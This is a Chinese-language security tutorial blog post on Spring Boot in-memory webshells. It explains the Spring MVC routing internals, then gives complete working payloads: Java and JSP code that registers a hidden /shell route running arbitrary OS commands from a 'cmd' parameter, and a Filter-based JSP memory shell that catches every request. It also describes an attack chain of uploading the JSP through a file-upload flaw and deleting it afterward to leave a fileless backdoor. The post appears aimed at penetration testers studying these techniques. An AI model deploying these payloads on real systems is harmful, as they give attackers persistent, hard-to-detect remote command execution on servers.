原理分析 | Controller —— SpringBoot 内存马
目录
环境搭建
搭建一下 Spring Boot 环境,更改为 https://start.aliyun.com 源,使用 Maven,Java 8。

选择 2.x 系列的版本,只用添加一个 Spring Web 依赖项。

Spring MVC 基础
com/example/demos/web/HelloController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package com.example.demos.web;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController;
@RestController public class HelloController {
@GetMapping("/hello") public String hello() { return "hello, spring!"; } }
|
直接运行 SpringControllerApplication 文件就能启动 Web 服务,不用再自己配置 Tomcat。Spring Boot 内嵌了 Tomcat,直接运行主类它自己就把 Tomcat 启动了,这也是 Spring Boot 和传统 Spring MVC 最大的区别之一——传统 Spring MVC 需要你自己装 Tomcat、打 war 包部署,Spring Boot 直接 java -jar 就能跑。
运行后可以看到:
1
| Tomcat started on port(s): 8080 (http)
|

浏览器访问 http://localhost:8080/hello:

可以正常访问,没有问题。
端口修改
在 resources/application.properties 里加一行:

另外 Windows 下 .properties 文件中文注释会乱码,可以在 IDEA 设置里修改:Settings → Editor → File Encodings → Properties Files 改成 UTF-8,勾选 Transparent native-to-ascii conversion。


和 Tomcat 对比一下会发现:
Tomcat 原生 Servlet 用 @WebServlet("/path") 一个注解搞定,因为 Servlet 本身就是处理请求的,注解直接声明路径就够了。
Spring Controller 拆成两个是因为职责分离:
@RestController — 声明”这个类是个控制器”,让 Spring 容器认识它、管理它
@GetMapping — 声明”这个方法处理什么路径、什么请求方式”
Spring 里一个 Controller 类可以有很多个方法,每个方法处理不同路径:
1 2 3 4 5 6 7 8 9 10 11 12 13
| @RestController public class HelloController {
@GetMapping("/hello") public String hello() { ... }
@PostMapping("/login") public String login() { ... }
@GetMapping("/user/{id}") public String getUser() { ... } }
|
所以 @RestController 标在类上,@GetMapping 标在方法上,两层分开才灵活。Tomcat Servlet 是一个类对应一个路径,Spring Controller 是一个类可以对应多个路径,设计思路不一样。
关于控制器类型
Spring Boot 主要就两个:
|
返回什么 |
用途 |
@Controller |
视图名(页面) |
前后端不分离项目 |
@RestController |
数据(字符串/JSON) |
前后端分离 API |
@Controller 是传统控制器,方法返回值是视图名(页面),配合模板引擎(Thymeleaf、JSP)跳页面用:
1 2 3 4 5 6 7 8
| @Controller public class PageController { @GetMapping("/index") public String index(Model model) { model.addAttribute("name", "张三"); return "index"; } }
|
@RestController = @Controller + @ResponseBody,方法返回值直接写入响应体,写 API 接口用:
1 2 3 4 5 6 7
| @RestController public class ApiController { @GetMapping("/user") public String user() { return "张三"; } }
|
现在基本都用 @RestController,前后端分离是主流,@Controller 只有老项目或者需要服务端渲染页面才用。
注意:如果两个 Controller 注册了同一个路径,Spring 启动时会直接报错:
1
| Caused by: java.lang.IllegalStateException: Ambiguous mapping. Cannot map 'xxxController' method
|
Spring 不允许同一路径重复注册,启动就失败了。这个特性在打内存马时也要注意,注入前要确保路径没被占用。
更新一下 HelloController,再熟悉两个常用注解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package com.example.demos.web;
import org.springframework.web.bind.annotation.*;
@RestController public class HelloController {
@GetMapping("/hello") public String hello() { return "hello, spring!"; }
@GetMapping("/greet") public String greet(@RequestParam String name) { return "hello, " + name + "!"; }
@GetMapping("/user/{id}") public String getUser(@PathVariable String id) { return "用户id是:" + id; } }
|
依次访问:
http://localhost:8080/hello

http://localhost:8080/greet?name=wr0ld

http://localhost:8080/user/123

Spring Boot 完整请求流程
Spring Boot 在 Tomcat 那套基础上加了自己的一层,完整流程是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| 请求进来 ↓ Tomcat Connector(接收请求) ↓ Valve(Tomcat管道,如AccessLogValve) ↓ Listener(ServletContextListener等) ↓ Filter(过滤器链) ↓ DispatcherServlet(Spring MVC入口,本质是个Servlet) ↓ HandlerInterceptor(Spring拦截器)preHandle ↓ Controller(业务逻辑) ↓ HandlerInterceptor(postHandle) ↓ 返回响应
|
对应关系:
| Tomcat 层 |
Spring 层 |
| Valve |
— |
| Listener |
— |
| Filter |
— |
| Servlet |
DispatcherServlet |
| — |
HandlerInterceptor |
| — |
Controller |
简单说就是 DispatcherServlet 类似一个分发器,请求会经过 HandlerInterceptor 这个拦截器,最后到达 Controller 控制器来返回响应。Interceptor 其实过两次:
- preHandle — Controller 执行之前,可以在这里拦截请求,返回 false 就不往下走了
- postHandle — Controller 执行之后,可以在这里修改响应
所以 Spring Boot 的内存马比 Tomcat 多了两种:Interceptor 内存马和 Controller 内存马,加上继承的 Tomcat 那三种,一共五种:
1 2 3 4 5
| Tomcat 内存马(3种) Spring Boot 额外多的(2种) ├── Filter ├── Interceptor ├── Servlet └── Controller └── Listener
|
Interceptor 内存马注入的是 preHandle 阶段,请求一进来就执行命令,不需要特定路径,下篇再讲。这篇主要讲 Controller 内存马。
内存马原理
正常 Spring 启动时的注册流程:
1 2 3 4 5 6 7 8
| Spring 启动 ↓ 扫描所有 @Controller 类 ↓ 读取 @RequestMapping 注解 ↓ 自动调用 registerMapping() 往路由表里注册
|
我们要做的就是跳过前三步,直接执行第四步——先写一个恶意类,然后动态注册到 Web 服务器。
先理清两个容器(关键隔离)
- Spring 容器(
ApplicationContext / DefaultListableBeanFactory):管理 Controller、Service、Component、Bean、SpringMVC 路由映射
- Tomcat 容器(
StandardContext):管理原生 Servlet、Filter、Listener、Jar 资源、Tomcat 级阀门、上下文生命周期
Spring Boot 是双容器嵌套,Spring 业务逻辑全部跑在 Spring 容器,仅 Web 底层通信依托 Tomcat,两者职责完全隔离。
和 Tomcat Servlet 内存马对比:
Tomcat Servlet 内存马:
1 2 3 4 5 6 7
| EvilServlet evilServlet = new EvilServlet();
StandardContext ctx = ...; ctx.addServlet("evilServlet", evilServlet); ctx.addServletMappingDecoded("/shell", "evilServlet");
|
Spring Controller 内存马做的事完全一样:
1 2 3 4 5
| EvilController evilController = new EvilController();
handlerMapping.registerMapping(mappingInfo, evilController, method);
|
前置知识
handlerMapping — 路由表
记录了所有 URL 对应哪个 Controller,Spring 收到请求就来这里查:
1 2 3 4
| /hello → HelloController.hello() /inject → InjectController.inject() /shell → EvilController.shell() ← 我们注入进去的
|
类比 Tomcat:相当于 StandardContext,里面存了所有 Servlet 的映射关系。
mappingInfo — 路由规则
描述 /shell 这条路由长什么样:
1 2 3 4 5
| RequestMappingInfo mappingInfo = RequestMappingInfo .paths("/shell") .methods(RequestMethod.GET, RequestMethod.POST) .build();
|
类比 Tomcat:相当于 addServletMappingDecoded("/shell", "evilServlet") 里的路径参数。
method — 具体方法(为什么要用反射)
Tomcat Servlet 收到请求固定走 service() 方法,Spring 不知道你的恶意类里叫什么方法,所以要用反射告诉它:
1 2 3 4 5 6
| Method method = EvilController.class.getMethod( "shell", HttpServletRequest.class, HttpServletResponse.class );
|
拿到这个 method 对象之后,Spring 有请求进来时就执行:
1 2 3 4
| method.invoke(evilController, request, response);
evilController.shell(request, response);
|
所以 handlerMapping.registerMapping(mappingInfo, evilController, method) 就是新增一条 /shell → EvilController.shell() 的意思。
因为 Spring Boot 是一类多方法(多路径)的,所以需要指定这个注册的路径对应的是 evilController 里的哪个方法,这是和 Tomcat Servlet 最本质的区别。
Spring MVC 参数自动注入机制
EvilController 里的 shell 方法为什么需要 request 和 response 这两个参数?
EvilController 没有继承任何东西,参数不是”固定必须这样写”,而是因为我们需要这两个东西:一个用来取 URL 里的 cmd 参数,一个用来把命令执行结果写回浏览器。Spring MVC 有一套参数自动注入机制,只要方法参数是这些类型,Spring 都会自动填充:
| 参数类型 |
Spring 自动注入的内容 |
HttpServletRequest |
当前请求对象 |
HttpServletResponse |
当前响应对象 |
HttpSession |
当前 Session |
@RequestParam String xxx |
URL 参数 |
@PathVariable String xxx |
路径参数 |
把参数去掉也能注册成功,只是拿不到 request,也就没办法取 cmd 参数执行命令了。
Java Demo 实现
先写一段 Java 的 Demo 代码试试,再写偏向实战的 JSP 代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| package com.example.demos.web;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Method;
@RestController public class InjectController {
@Autowired private RequestMappingHandlerMapping handlerMapping;
public class EvilController { public void shell(HttpServletRequest request, HttpServletResponse response) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { ProcessBuilder pb = new ProcessBuilder("cmd.exe", "/c", cmd); pb.redirectErrorStream(true); Process process = pb.start(); java.io.InputStream is = process.getInputStream(); java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); byte[] buf = new byte[1024]; int len; while ((len = is.read(buf)) != -1){ baos.write(buf, 0, len); } response.getWriter().write(baos.toString()); } } }
@GetMapping("/inject") public String inject() throws Exception {
RequestMappingInfo.BuilderConfiguration options = new RequestMappingInfo.BuilderConfiguration(); options.setPatternParser(handlerMapping.getPatternParser()); RequestMappingInfo mappingInfo = RequestMappingInfo .paths("/shell") .methods(RequestMethod.GET, RequestMethod.POST) .options(options) .build();
EvilController evilController = new EvilController(); Method method = EvilController.class.getMethod( "shell", HttpServletRequest.class, HttpServletResponse.class ); handlerMapping.registerMapping(mappingInfo, evilController, method);
return "注入成功!访问 /shell?cmd=whoami 验证"; } }
|
整个流程:
1 2 3 4 5 6 7 8 9 10
| 访问 /inject ↓ 从路由表拿 PatternParser → 构造 /shell 路由规则 ↓ 实例化 EvilController,反射拿到 shell 方法 ↓ registerMapping() 注册进路由表 ↓ 访问 /shell?cmd=whoami → shell() 执行命令 → 结果返回浏览器
|
访问 http://localhost:8080/inject 注册内存马:

再次访问 /inject 会报错:

这正是因为同一路径不能重复注册,第一次访问 /inject 时 /shell 注册成功,第二次再访问就冲突了。
访问 http://localhost:8080/shell?cmd=whoami 触发命令:

重启 Spring Boot 后再次访问 /shell 会直接 404,证明这是内存马效果,重启就没了。

补充:Spring Boot 默认不暴露详细错误信息,只显示 Whitelabel Error Page。
想看具体报错有两种方式:
- 方式一:看 IDEA 控制台,报错的完整堆栈都在控制台里
- 方式二:在
application.properties 里加配置(测试用,生产环境绝对不能开):
1 2 3
| server.error.include-message=always server.error.include-stacktrace=always
|
这样浏览器也能看到具体报错,访问两次 /inject 就能看到详细的报错信息:

这也是渗透测试时遇到详细报错页面直接捡信息的原因。
获取 handlerMapping 的两种姿势
因为 RequestMappingHandlerMapping 是 Spring 管理的 Bean,所有 Bean 都存在 WebApplicationContext(Spring 容器)里,动态注册用的 registerMapping() 也是它的方法,所以第一步是拿到它。
类比 Filter 内存马:Filter 直接从 Tomcat 的 StandardContext 里取组件,Controller 内存马则是从 Spring 的 WebApplicationContext 里取组件,层级不同,思路一样。
姿势一:@Autowired 直接注入(Java 代码专用)
1 2 3 4
| @Autowired private RequestMappingHandlerMapping handlerMapping;
|
姿势二:WebApplicationContextUtils(JSP/通用,推荐)
1 2 3 4 5 6 7 8 9 10 11
|
WebApplicationContext context = WebApplicationContextUtils .getWebApplicationContext(request.getServletContext());
RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
|
JSP 里没有 Spring 注解扫描,@Autowired 不生效,只能用姿势二手动取。
JSP Payload 实现
实战中肯定不是直接跑 Java 代码,需要依赖 JSP 文件上传。JSP 里只能写普通 Java 代码,不支持注解扫描,原因是注解(@RestController、@Autowired 这些)需要 Spring 容器扫描才能生效,而 JSP 是运行时动态执行的,不走 Spring 的扫描流程。
和 Java 版的区别:
|
Java 版 |
JSP 版 |
| 取路由表 |
@Autowired 自动注入 |
手动从 WebApplicationContext 取 |
| 代码包裹 |
正常 Java 类 |
<%! %> 声明类,<% %> 执行代码 |
| 导包 |
import 语句 |
<%@ page import="" %> |
核心注册逻辑完全一样。
文件路径:src/main/webapp/inject_jsp.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.springframework.web.context.WebApplicationContext" %> <%@ page import="org.springframework.web.context.request.RequestContextHolder" %> <%@ page import="org.springframework.web.context.request.ServletRequestAttributes" %> <%@ page import="org.springframework.web.servlet.mvc.method.RequestMappingInfo" %> <%@ page import="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" %> <%@ page import="org.springframework.web.bind.annotation.RequestMethod" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%! public class EvilController { public void shell( javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response ) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { ProcessBuilder pb = new ProcessBuilder("cmd.exe", "/c", cmd); pb.redirectErrorStream(true); Process process = pb.start(); java.io.InputStream is = process.getInputStream(); java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); byte[] buf = new byte[1024]; int len; while ((len = is.read(buf)) != -1) { baos.write(buf, 0, len); } response.getWriter().write(baos.toString()); } } } %>
<% WebApplicationContext context = WebApplicationContextUtils .getWebApplicationContext(request.getServletContext());
RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
RequestMappingInfo.BuilderConfiguration options = new RequestMappingInfo.BuilderConfiguration(); options.setPatternParser(handlerMapping.getPatternParser()); RequestMappingInfo mappingInfo = RequestMappingInfo .paths("/shell") .methods(RequestMethod.GET, RequestMethod.POST) .options(options) .build();
EvilController evilController = new EvilController(); Method method = EvilController.class.getMethod( "shell", javax.servlet.http.HttpServletRequest.class, javax.servlet.http.HttpServletResponse.class ); handlerMapping.registerMapping(mappingInfo, evilController, method);
response.getWriter().write("注入成功!访问 /shell?cmd=whoami 验证"); %>
|
如果直接访问 http://localhost:8080/inject_jsp.jsp 发现文件直接被下载了:

这是因为 Spring Boot 默认不支持 JSP,需要在 pom.xml 加依赖(注意直接放 <dependencies> 里,不是放 <dependencyManagement>的 <dependencies>里):
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-jasper</artifactId> </dependency>
|
同时 JSP 文件要放在 src/main/webapp/ 根目录下,不要放在 WEB-INF/ 里(那个目录外部无法直接访问)。JSP 的路由机制和 Controller 不一样,路径就是文件在 webapp/ 下的相对路径,文件名即路由,Tomcat 直接按文件路径映射,不需要任何控制器定义。
注意区分两个目录:
src/main/resources/static/ — Spring Boot 静态资源目录,里面的文件原样返回,不解析,JSP 放这里会被直接下载
src/main/webapp/ — Web 根目录,JSP 会被 Tomcat 解析执行
验证
访问 http://localhost:8080/inject_jsp.jsp(文件在 webapp 下,对应路由就是 /inject_jsp.jsp):

访问 http://localhost:8080/shell?cmd=whoami:

换成 POST 方式也能请求成功(request.getParameter() GET 和 POST 都支持):

重启应用后内存马消失,因为注册信息只存在于 JVM 内存中。
补充:Spring Boot 下的 Tomcat Filter 内存马
Spring Boot 是基于 Tomcat 的,所以 Tomcat 的内存马也是支持的,但有些地方略有不同,以 Filter 为例,直接给 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="javax.servlet.*" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.ByteArrayOutputStream" %>
<% java.lang.reflect.Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); org.apache.catalina.connector.Request innerRequest = (org.apache.catalina.connector.Request) requestField.get(request); org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) innerRequest.getContext();
Filter maliciousFilter = new Filter() { @Override public void init(FilterConfig filterConfig) {}
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { Runtime runtime = Runtime.getRuntime(); Process process = runtime.exec(cmd); InputStream inputStream = process.getInputStream(); ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len; while ((len = inputStream.read(buffer)) != -1) { baos.write(buffer, 0, len); } response.getWriter().write(new String(baos.toByteArray())); return; } chain.doFilter(request, response); }
@Override public void destroy() {} };
org.apache.tomcat.util.descriptor.web.FilterDef filterDef = new org.apache.tomcat.util.descriptor.web.FilterDef(); filterDef.setFilterName("evil"); filterDef.setFilterClass(maliciousFilter.getClass().getName()); filterDef.setFilter(maliciousFilter); standardContext.addFilterDef(filterDef);
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap(); filterMap.setFilterName("evil"); filterMap.addURLPattern("/*"); standardContext.addFilterMapBefore(filterMap);
Class<?> clazz = standardContext.getClass(); Field filterConfigsField = null; while (clazz != null) { try { filterConfigsField = clazz.getDeclaredField("filterConfigs"); break; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } filterConfigsField.setAccessible(true); java.util.Map filterConfigs = (java.util.Map) filterConfigsField.get(standardContext);
java.lang.reflect.Constructor constructor = org.apache.catalina.core.ApplicationFilterConfig.class .getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class); constructor.setAccessible(true); org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put("evil", filterConfig);
response.getWriter().write("注入成功"); %>
|
基本上是之前写的 Filter 内存马照搬过来的,但有两个不同点:
Spring Boot 内嵌 Tomcat 的坑:
- 获取
StandardContext 方式不同:外置 Tomcat 可以直接强转 request 拿到,Spring Boot 里不行,要先反射取 request 字段,再调 getContext()
filterConfigs 字段在父类里:getDeclaredField 只找当前类不找父类,会直接报 NoSuchFieldException,需要遍历父类查找
这两点和外置 Tomcat 不一样,实战中遇到 Spring Boot 目标要注意,最好花时间先确认一下目标环境再开始。
访问 http://localhost:8080/inject_filter.jsp 注入:

触发命令(Filter 拦截所有请求,任意路径带上 cmd 参数都能触发):

与 Tomcat 内存马对比
| 对比项 |
Tomcat 内存马(Filter/Servlet) |
Spring Controller 内存马 |
| 作用层 |
Servlet 容器层 |
Spring MVC 框架层 |
| 注册方式 |
反射修改容器内部集合 |
官方公开 API registerMapping() |
| 适用条件 |
任意 Java Web 应用 |
需要 Spring MVC 环境 |
| 隐蔽性 |
较高 |
中等(路由可被枚举) |
| 检测难度 |
需扫描容器组件 |
可通过 Actuator /mappings 暴露 |
值得注意的是,Spring 官方提供了 registerMapping() 这个公开 API,这意味着注册动作本身不会触发任何安全告警——从框架角度看这是”合法操作”。但也正因为如此,通过 Spring Actuator 的 /actuator/mappings 端点是可以枚举到动态注册的路由的,这是 Controller 内存马相比 Interceptor 内存马稍弱的一点。
总结
Spring Controller 内存马的核心就三步:
1 2 3 4 5 6
| 拿到路由表(RequestMappingHandlerMapping) ↓ 构造路由规则(RequestMappingInfo) ↓ registerMapping() 注册(路由规则 + 恶意对象 + 方法)
|
实战攻击链:
1 2
| 文件上传漏洞 → 传恶意 JSP → 访问 JSP 触发注入 → 删除 JSP 文件 → 内马留在内存
|
下一篇写 Interceptor 内存马,注册方式需要反射修改私有字段,但因为不产生新路由,任意请求都能触发,隐蔽性更强。